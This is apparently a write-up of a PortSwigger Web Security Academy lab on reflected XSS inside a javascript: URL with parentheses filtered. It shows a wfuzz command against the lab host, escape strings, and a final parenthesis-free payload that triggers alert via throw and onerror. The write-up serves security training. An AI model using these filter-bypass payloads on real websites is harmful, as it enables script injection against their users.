> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/xss/xss-in-javascript-url-with-limited-characters.md).

# XSS in a JavaScript URL with Limited Characters

XSS in a JavaScript URL with Limited Characters notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### Reflected XSS in a JavaScript URL with Some Characters Blocked

#### Objective

Using a reflected XSS vulnerability in a `JavaScript:` URL to show `alert` containing the `1337` string (the `1337` string must be present somewhere in the message).

The application reflects our entry in a JavaScript URL. At first glance the challenge seems simple, but the application filters certain characters to prevent XSS attacks. We must find a way to escape the JavaScript context despite these restrictions and trigger `alert(...)` containing `1337`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b64a559765b0882ab672756c7bb7cc213586953b%2Fimage%20(380).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Observed Source Code Analysis

In the source code you can find the following link:

{% code overflow="wrap" %}

```javascript
<a href="javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d1'}).finally(_ => window.location = '/')">Back to Blog</a>
```

{% endcode %}

After decoding URL you get:

{% code overflow="wrap" %}

```javascript
<a href="javascript:fetch('/analytics', {method:'post',body:'/post?postId=1'}).finally(_ => window.location = '/')">Back to Blog</a>
```

{% endcode %}

Click Back to Blog executes this JavaScript URL. By intercepting the request, we see that a call is made to `/analytics`. The `postId` parameter is taken from the URL (`/post?postId=...`) and reflected in the body of the analytics query.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a07f775a35228d45a6c8564937f1db9179f04f7f%2Fimage%20(381).png?alt=media" alt=""><figcaption></figcaption></figure>

#### First Attempt — Parsing Break

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b2deeb4a0d83c72bed0d649c4cd4c79c5f90aed9%2Fimage%20(382).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

By injecting a single apostrophe the parsing is broken (ID becomes invalid):

```javascript
2'},{x:'
```

The apostrophe breaks the structure, which shows that the value is inserted in a context where quotas have an impact.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eafbd4b6c697a864ca230534465015f5fa7bdbe7%2Fimage%20(383).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

#### Fuzzing Special Characters

We quickly tested which special characters produce a valid response (with `wfuzz` and the `special-chars.txt` list). Example command used:

{% code overflow="wrap" %}

```bash
wfuzz -c -w /usr/share/SecLists/Fuzzing/special-chars.txt 'https://0a530041036b803fbb5cd40a009500a8.web-security-academy.net/post?postId=2FUZZ%27},{x:%27'
```

{% endcode %}

The results show that `&` and `#` produce a 200 code — they are accepted by the parser and allow to insert sequences that properly close the structure.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f9888ae641e32704e5f6282e36c33ed178bf7dd4%2Fimage%20(384).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Observed interpretation:

```javascript
post?postId=2&
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5eb3c4e792290018da04615a1c277011954fcaac%2Fimage%20(385).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Construction of Escape Vector

By properly closing the value and inserting code, you can obtain:

```javascript
post?postId=2&'},{x:''
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f2eecf334ae1509486a3929bf782c5bae95a3cfc%2Fimage%20(386).png?alt=media" alt=""><figcaption></figcaption></figure>

Here `x` remains empty and syntax is accepted.

Then we try to add a `alert` directly:

```javascript
post?postId=2&'},alert(1),{x:''
```

But `()` parentheses from `alert(1)` are removed by the filter — so you have to bypass the obligation to use `()`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d11316cbe25d7f278b47dfcae12a2dd8a5692c66%2Fimage%20(387).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Contouring without Parentheses

One escapes the use of parentheses and uses more creative JavaScript expressions to invoke `alert` with `1337` in output. The final payload used is:

```javascript
2&'},x=x=>{throw/**/onerror=alert,1337},toString=x,window%2b'',{x:'
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-71729aa53912826e73dcc9928121689ac0581bd8%2Fimage%20(388).png?alt=media" alt=""><figcaption></figcaption></figure>


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